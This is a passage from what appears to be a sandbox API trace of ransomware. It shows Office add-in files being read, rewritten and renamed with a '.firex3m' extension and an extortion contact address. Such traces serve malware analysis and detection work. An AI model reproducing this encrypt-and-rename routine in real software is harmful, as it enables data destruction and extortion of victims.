| out: lpBuffer=0x71aa040*, lpNumberOfBytesRead=0x333ff0c*=0x1140, lpOverlapped=0x0) returned 1 [0160.372] GetProcessHeap () returned 0x630000 [0160.372] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0160.372] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.372] WriteFile (in: hFile=0x5ec, lpBuffer=0x727ae80*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ae80*, lpNumberOfBytesWritten=0x333ff0c*=0x1140, lpOverlapped=0x0) returned 1 [0160.372] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.373] WriteFile (in: hFile=0x5ec, lpBuffer=0x727bfbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727bfbf*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.373] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.373] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.373] CloseHandle (hObject=0x5ec) returned 1 [0160.373] GetProcessHeap () returned 0x630000 [0160.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727ae80 | out: hHeap=0x630000) returned 1 [0160.373] GetProcessHeap () returned 0x630000 [0160.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71aa040 | out: hHeap=0x630000) returned 1 [0160.373] GetProcessHeap () returned 0x630000 [0160.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0160.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x258ac56b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1176, dwReserved0=0xc1c7496, dwReserved1=0x71aa038, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5480 [0160.604] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0160.604] Sleep (dwMilliseconds=0x1) [0160.608] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml") returned 1 [0160.608] GetProcessHeap () returned 0x630000 [0160.608] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c00) returned 0x707d3d0 [0160.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0160.608] CloseHandle (hObject=0x4e0) returned 1 [0160.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.608] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5000 [0160.609] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0160.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0160.609] GetProcessHeap () returned 0x630000 [0160.609] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1141) returned 0x727ae80 [0160.609] GetProcessHeap () returned 0x630000 [0160.609] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1141) returned 0x6ed2090 [0160.609] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.609] ReadFile (in: hFile=0x4e0, lpBuffer=0x727ae80, nNumberOfBytesToRead=0x1120, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ae80*, lpNumberOfBytesRead=0x333ff0c*=0x1120, lpOverlapped=0x0) returned 1 [0160.692] GetProcessHeap () returned 0x630000 [0160.692] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0160.692] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.692] WriteFile (in: hFile=0x4e0, lpBuffer=0x6ed2090*, nNumberOfBytesToWrite=0x1120, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2090*, lpNumberOfBytesWritten=0x333ff0c*=0x1120, lpOverlapped=0x0) returned 1 [0160.692] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.692] WriteFile (in: hFile=0x4e0, lpBuffer=0x6ed31af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed31af*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.692] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.692] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.692] CloseHandle (hObject=0x4e0) returned 1 [0160.692] GetProcessHeap () returned 0x630000 [0160.692] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0160.692] GetProcessHeap () returned 0x630000 [0160.692] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727ae80 | out: hHeap=0x630000) returned 1 [0160.692] GetProcessHeap () returned 0x630000 [0160.692] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0160.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25ba72ec, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1159, dwReserved0=0xc1c7496, dwReserved1=0x727ae78, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5000 [0160.693] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0160.693] Sleep (dwMilliseconds=0x1) [0160.834] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", len=0x65 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl") returned 1 [0160.834] GetProcessHeap () returned 0x630000 [0160.834] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd8) returned 0x707d3d0 [0160.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0160.928] CloseHandle (hObject=0x4e0) returned 1 [0160.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL200~1.FIR")) returned 0x6d5340 [0160.944] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0160.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0160.945] GetProcessHeap () returned 0x630000 [0160.945] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x85a1) returned 0x704cfa0 [0160.945] GetProcessHeap () returned 0x630000 [0160.945] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x85a1) returned 0x7055550 [0160.945] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.945] ReadFile (in: hFile=0x408, lpBuffer=0x704cfa0, nNumberOfBytesToRead=0x8580, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x704cfa0*, lpNumberOfBytesRead=0x333ff0c*=0x8580, lpOverlapped=0x0) returned 1 [0165.730] GetProcessHeap () returned 0x630000 [0165.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175f08 [0165.730] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.730] WriteFile (in: hFile=0x408, lpBuffer=0x7055550*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7055550*, lpNumberOfBytesWritten=0x333ff0c*=0x8580, lpOverlapped=0x0) returned 1 [0165.730] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.730] WriteFile (in: hFile=0x408, lpBuffer=0x705dacf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x705dacf*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.730] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.730] WriteFile (in: hFile=0x408, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.730] CloseHandle (hObject=0x408) returned 1 [0165.730] GetProcessHeap () returned 0x630000 [0165.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7055550 | out: hHeap=0x630000) returned 1 [0165.731] GetProcessHeap () returned 0x630000 [0165.731] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x704cfa0 | out: hHeap=0x630000) returned 1 [0165.733] GetProcessHeap () returned 0x630000 [0165.733] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175f08 | out: hHeap=0x630000) returned 1 [0165.733] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28bc04c2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x85b0, dwReserved0=0xc1c7496, dwReserved1=0x704cf98, cFileName="sql2000.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL200~1.FIR")) returned 0x6d5280 [0165.733] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0165.734] Sleep (dwMilliseconds=0x1) [0166.483] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\PowerViewRes.th.xap", len=0x65 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\PowerViewRes.th.xap") returned 1 [0166.483] GetProcessHeap () returned 0x630000 [0166.483] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ba0) returned 0x707d3d0 [0166.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\PowerViewRes.th.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\th\\powerviewres.th.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0166.484] CloseHandle (hObject=0x6d8) returned 1 [0166.484] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\PowerViewRes.th.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\th\\powerviewres.th.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\PowerViewRes.th.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\th\\powerviewres.th.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.484] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\PowerViewRes.th.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16166f59, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1618d1a2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d43, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.th.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5340 [0166.510] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0166.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\PowerViewRes.th.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\th\\powerviewres.th.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0166.510] GetProcessHeap () returned 0x630000 [0166.510] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0166.510] GetProcessHeap () returned 0x630000 [0166.510] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0166.510] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.511] ReadFile (in: hFile=0x6d8, lpBuffer=0x719ec10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0172.359] GetProcessHeap () returned 0x630000 [0172.359] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0172.360] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.360] WriteFile (in: hFile=0x6d8, lpBuffer=0x72b84a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0172.360] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.360] WriteFile (in: hFile=0x6d8, lpBuffer=0x72c389f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c389f*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0172.362] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.362] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0172.362] CloseHandle (hObject=0x6d8) returned 1 [0172.362] GetProcessHeap () returned 0x630000 [0172.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0172.363] GetProcessHeap () returned 0x630000 [0172.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0172.363] GetProcessHeap () returned 0x630000 [0172.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0172.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0172.363] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\PowerViewRes.th.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16166f59, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2caf36bb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x50d67, dwReserved0=0xc1c7496, dwReserved1=0x719ec08, cFileName="PowerViewRes.th.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0172.363] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0172.364] Sleep (dwMilliseconds=0x1) [0172.371] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap", len=0x65 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 1 [0172.371] GetProcessHeap () returned 0x630000 [0172.371] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b58) returned 0x707d3d0 [0172.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\powerviewres.hu.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0172.372] CloseHandle (hObject=0x6d8) returned 1 [0172.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0172.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\powerviewres.hu.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\powerviewres.hu.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0172.373] MultiByteToWideChar (in: CodePage=0x3, 